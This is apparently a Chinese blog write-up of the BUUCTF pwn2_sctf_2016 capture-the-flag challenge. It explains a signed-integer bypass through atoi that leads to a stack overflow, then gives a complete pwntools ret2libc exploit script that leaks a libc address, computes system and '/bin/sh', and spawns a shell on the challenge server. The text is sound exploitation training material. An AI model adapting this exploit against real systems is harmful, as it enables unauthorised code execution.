pwn刷题num42---ret2libc(不容易)

BUUCTF-PWN-pwn2_sctf_2016

pwn刷题num42---ret2libc(不容易)_第1张图片
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
pwn刷题num42---ret2libc(不容易)_第2张图片

32位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接

pwn刷题num42---ret2libc(不容易)_第3张图片
pwn刷题num42---ret2libc(不容易)_第4张图片
pwn刷题num42---ret2libc(不容易)_第5张图片
atoi会将一个字符串并转化为有符号整形(signed int),而我们只需要输入-1,即可绕过if(v2>32),使read函数读入非常大的数,造成栈溢出,查看一下程序,发现没有后门函数,但是有printf,通过printf泄露函数(这里选printf)真实地址(got表对应的地址),从而获得libc版本,根据相对偏移不变,得到system地址和/bin/sh地址,获得shell
exp

from pwn import  *
from LibcSearcher import LibcSearcher
context(endian='little',os='linux',arch='i386',log_level='debug') #32位架构
binary = './pwn2_sctf_2016' #程序文件名或ip地址
#sh = process(binary) #连接本地
sh = remote('node4.buuoj.cn',27258) #连接远程
elf = ELF(binary)    #获得程序函数地址
libc = ELF('./libc-2.23.so')

ret_addr = 0x08048346
main = elf.sym['main']
sh.sendlineafter(b"How many bytes do you want me to read? ",b'-1')
payload = b'a' * 0x2c + b'b' * 0x4 + p32(ret_addr) + p32(elf.plt['printf']) + p32(main) + p32(elf.got['__libc_start_main'])
sh.sendlineafter(b'Ok, sounds good. Give me 4294967295 bytes of data!\n',payload)
  
sh.recvuntil(b'\n')
_libc_start_main_addr=u32(sh.recv(4))
print(hex(_libc_start_main_addr))

'''
libc = LibcSearcher('__libc_start_main',_libc_start_main_addr)
base = _libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = base + libc.dump('system')
bin_sh_addr = base +  libc.dump("str_bin_sh")
'''

base = _libc_start_main_addr - libc.sym['__libc_start_main']
system_addr = base + libc.sym['system']
bin_sh_addr = base +  0x0015902b  

'''
#libc6-i386_2.23-0ubuntu3_amd64
base = _libc_start_main_addr - 	0x018540
system_addr = base +  0x03a920
bin_sh_addr = base +  0x15909f  

#libc6_2.23-0ubuntu3_i386
base = _libc_start_main_addr - 	0x018540
system_addr = base +  0x03ad80
bin_sh_addr = base +  0x15ba3f
'''

sh.sendlineafter(b"How many bytes do you want me to read? ",'-1')
payload = b'a' * 0x2c + b'b' * 0x4 + p32(ret_addr) + p32(system_addr) + p32(ret_addr) + p32(bin_sh_addr) + p32(main)  
sh.sendlineafter(b"Ok, sounds good. Give me 4294967295 bytes of data!\n",payload)
sh.interactive()

很离谱的题,先是用LibcSearcher查找的libc版本结果不行,又把泄露函数printf函数换成__libc_start_main函数,还是不行,去网上的libc database search 查询也不行,最后按照泄露出来的__libc_start_main地址查找到的libc去网上下了libc6_2.23-0ubuntu11_i386,这里存到我的百度网盘上了
链接: https://pan.baidu.com/s/1zsirfVqUCZSVMICLaim7dQ 提取码: eohs

pwn刷题num42---ret2libc(不容易)_第6张图片
最后才获得了shell
pwn刷题num42---ret2libc(不容易)_第7张图片

pwn刷题num42---ret2libc(不容易)_第8张图片

你可能感兴趣的:(BUUCTF,pwn,CTF,linux,c语言,安全,网络安全,python)